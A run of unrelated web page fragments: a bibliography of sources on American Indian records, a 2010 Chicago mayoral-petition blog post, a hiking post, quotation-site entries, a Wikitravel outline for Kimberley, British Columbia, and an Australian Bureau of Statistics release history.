3. Hill, Edward E. The Office of Indian Affairs, 1824-1880: Historical Sketches, Clearwater Publishing Co., Inc. 1974. FHL book 970.1 H551o
4. Hill, Edward E. (comp.). Guide to Records in the National Archives of the United States Relating to American Indians. Washington DC: National Archives and Records Service, General Services Administration, 1981. FHL book 970.1 H551g
5. National Atlas of the United States of America -- Federal Lands and Indian Reservations Available online.
6. Isaacs. Katherine M., editor. Omni Gazetteer of the United States of America. U.S. Data Sourcebook, Volume 11 Appendices, Bureau of Indian Affairs List of American Indian Reservations, Appendix E, Indian Reservations. Omnigraphics, Inc., 1991.
Bibliography
• "Accompanying Pamphlet for Microcopy 1011", National Archives Microfilm Publications, Appendix.
• American Indians: A Select Catalog of National Archives Microfilm Publications. Washington DC: National Archives Trust Fund Board, National Archives and Records Administration, 1998.
• Gilbert, William Harlen, Jr. Surviving Indian Groups in the Eastern United States. Pp. 407-438 of the Smithsonian Report for 1948. Available online.
• Hill, Edward E. (comp.). Guide to Records in the National Archives of the United States Relating to American Indians. Washington DC: National Archives and Records Service, General Services Administration, 1981.
• Hill, Edward E. The Office of Indian Affairs, 1824-1880: Historical Sketches. New York, New York: Clearwater Publishing Company, Inc., 1974.
• Historical Sketches for Jurisdictional and Subject Headings Used for the Letters Received by the Office of Indian Affairs, 1824-1880. National Archives Microcopy T1105.
• Hodge, Frederick Webb. Handbook of American Indians North of Mexico. Washington D.C.:Smithsonian Institution, Bureau of American Ethnology, Bulletin #30 1907. Available online.
• Isaacs. Katherine M., editor. Omni Gazetteer of the United States of America. U.S. Data Sourcebook, Volume 11 Appendices, Bureau of Indian Affairs List of American Indian Reservations, Appendix E, Indian Reservations. Omnigraphics, Inc., 1991. ISBN 1-55888-336-3 L of C E154.045 1990
• National Atlas of the United States of America -- Federal Lands and Indian Reservations Available online.
• Preliminary Inventory No. 163: Records of the Bureau of Indian Affairs. Washington DC: National Archives and Records Services. Available online
• Swanton John R. The Indian Tribes of North America. Smithsonian Institution, Bureau of American Ethnology, Bulletin #145 Available online. (ISBN 0-8063-1730-2 L of C 2002117802)
• Tiller, Veronica E. Velarde., American Indian Reservations and Trust Areas. C. 1996, Tiller Research Incorporated. Family History Library book 970.1 T463a No ISBN, or LC #
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Monday, November 22, 2010
On the last day of petition registration...
Not only did I sign Sen. Roland Burris' petition to run for Mayor. Interesting story one guy had me sign a petition then the other guy had me sign his. WTF??? What would I expect Burris is out of the Senate by the end of the month!
And after appearing to shut down his bid when it came time to submit petitions, Rahm Emanuel's tenant has filed petitions to run for Mayor:
The Emanuel renter, Rob Halpin, an industrial developer, said he has collected more than 20,000 signatures -- more than the 12,500 valid signatures needed to be placed on the ballot.
Halpin said he wasn't running as a lark, although he acknowledged some people encouraged him after it was publicized he wouldn't move from Emanuel's Ravenswood home when the ex-White House chief of staff returned from Washington to run for mayor.
"People approached me and they thought I would be a good mayor," Halpin said after dropping off his signature petitions. "There's no denying that some people met me as a result of being there (Emanuel's house) but it's very coincidental."
Don't feel too bad if you were lead to believe that Halpin was out of the race.Halpin had been listed as out of the race on Early & Often as well.
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Thursday, September 23, 2010
If Lost, Ask The Way
A group of hikers were in the area of the Charasha [חרשה] community [*] (no, not this "settlement"). This one named in the Bible, Ezra 2:59: "And these were they that went up from Tel-melah, Tel-harsa...", in the Talmonin district. It's just east of Talmon on this map and right in the middle in this one.
Everyone, almost is looking at a map:
But, it seems the map needs a human touch, especially as no one wants to go where they need not, so some locals are asked:
And help is on the way:
Didn't anyone hear about a construction freeze in Yesha? -
[*] (on Charasha in Hebrew)
(Kippah tip: Ella)
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Quotation added by TADJAEK
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All they need is the presence of their parents and they do the rest themselves. Tadj Abelkader
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Tadj Abedelkader
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2013-05-18T07:33:49.000Z
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h2rnle3qncssplvwxbiblv2qxuhhapl7
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"warc_url": "http://quotationsbook.com/quote/9154/"
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Quotation added by staff
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There is no society known where a more or less developed criminality is not found under different forms. No people exists whose morality is not daily infringed upon. We must therefore call crime necessary and declare that it cannot be non-existent, that the fundamental conditions of social organization, as they are understood, logically imply it. Durkheim, Emile
This quote is about crime and criminals · Search on Google Books to find all references and sources for this quotation.
A bit about Durkheim, Emile ...
David Emile Durkheim (April 15, 1858 - November 15, 1917) is known as one of the originators of modern sociology. He founded the first European university department of sociology in 1895, and one of the first journals devoted to social science, L'Anne Sociologique in 1896.
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2013-05-18T08:38:35.000Z
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y7hllugn7woypq2f5ws4ezq22raess66
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"warc_url": "http://quotationsbook.com/quotes/author/1609/"
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Quotes by Cole, Edwin Louis
Edwin Louis Cole (born Dallas, Texas in 1922, died August 27, 2002) is the founder of the Christian Men's Network, a religious organized devoted to helping Christian men and fathers. He is the publisher of many books and has given numerous sermons relating to men and religion..
"You don't drown by falling in the water; you drown by staying there."
Cole, Edwin Louis on failure
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2013-05-18T08:19:28.000Z
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"A REALLY INTELLIGENT INTERVIEWER." -- Lance Henriksen
"QUITE SIMPLY, THE BEST HORROR-THEMED BLOG ON THE NET." -- Joe Maddrey, Nightmares in Red White & Blue
**Find The Vault of Horror on Facebook and Twitter, or download the new mobile app!**
**Check out my other blogs, Standard of the Day, Proof of a Benevolent God and Lots of Pulp!**
Monday, June 6, 2011
The Many Faces of the Frankenstein Monster
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Help Wikitravel grow by contributing to an article! Learn how.
Kimberley (British Columbia)
From Wikitravel
Jump to: navigation, search
Kimberley is in British Columbia Canada.
A wintery downtown Kimberley
[edit] Get in
[edit] Get around
[edit][add listing] See
• Platzl, at the end of Spokane St. The Bavarian-themed pedestrian street at the center of town. Take in the atmosphere or view the large cuckoo clock where the town mascot, Happy Hans, pops out every hour. edit
• Cominco Gardens (Kimberley Gardens), off of 4th St, near the hospital, 250 427-5160. Gardens with almost 50,000 flowers and a nice hilltop view. edit
[edit][add listing] Do
• Kimberley Alpine Resort, at the end of Gerry Sorenson Way, +1 250 427-4881 (general line), +1 250 427-1333 (snow report), [1]. Mid-sized ski resort with three chairs and a T-bar and 750 meters of vertical (2,465 feet). Lifts are also open on weekends in the summer for hiking and sightseeing. $21 (summer). edit
• Trickle Creek Golf Course, 500 Stemwinder Dr, +1 250 427-5171 (general line), +1 250 427-3389 (tee times), [2]. One of the best "mountain" golf courses in BC. $90-$120. edit
[edit][add listing] Buy
[edit][add listing] Eat
[edit][add listing] Drink
[edit][add listing] Sleep
• Kimberley Riverside Campground (Happy Hans Riverside Resort), just off of St. Mary's Lake Rd, +1 250 427-2929, [3]. Serviced and tenting sites with convenience store, laundry, showers and pool. On the river with nice mountain views. Open from mid-May to mid-October. $21-26 (tent), $27-$33 (serviced). edit
• Trickle Creek Lodge (formerly the Marriott Trickle Creek Residence Inn), 500 Stemwinder Dr, 1-877-282-1200 (toll-free) or +1 250 427-5175;, [4]. checkin: 4PM; checkout: Noon. Rooms range from studios to three bedroom suites and come with kitchens and fireplaces. It's close enough to the slopes for ski-in, ski-out in the winter. $190 - $335 in peak season. edit
[edit] Get out
This article is an outline and needs more content. It has a template, but there is not enough information present. Please plunge forward and help it grow!
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Australian Bureau of Statistics
Celebrating the International Year of Statistics 2013
ABS Home > Statistics > By Catalogue Number
4714.0 - National Aboriginal and Torres Strait Islander Social Survey, 2008 Quality Declaration
Latest ISSUE Released at 11:30 AM (CANBERRA TIME) 30/10/2009
Page tools: Print Page Print All RSS Search this Product
This document was added 04/21/2010.
History of Changes
16/12/2010—Supplementary material was included in this release:
An additional data cube, Law and Justice, was added to the original 20 tables. The Law and Justice data cube includes information on Aboriginal and Torres Strait Islander people aged 15 years and over. Some of the data items included in this series include arrest, incarceration, victims of violence, use of legal services, age first formally charged and neighbourhood/community problems. Individual tables are available with different groupings by age, sex, state/territories and remoteness areas.
01/09/2010—A correction was applied to the Data item list associated with this release:
Datacubes, Data item list, Income (47140_03_Income)—a correction was applied to the income range for Equivalised Household Gross Weekly Income (INCWKHEQ), this involved removing negative incomes from the range. No other changes were made.
21/04/2010— Supplementary material was included in this release:
An additional 3 national tables were added to the original 9 tables of the release. These present the previous data items displayed in tables 3, 7 and 9 cross tabulated by gender for age groups 15 years and over, 4–14 years and 0–3 years. A complete set of tables for each State/territory were released as datacubes. The State/territory tables repeat all the national data items at state level except for ACT where some data items in Tables 4 and 10 have had to be combined because of small numbers.
© Commonwealth of Australia 2013
Unless otherwise noted, content on this website is licensed under a Creative Commons Attribution 2.5 Australia Licence together with any terms, conditions and exclusions as set out in the website Copyright notice. For permission to do anything beyond the scope of this licence and copyright terms contact us.
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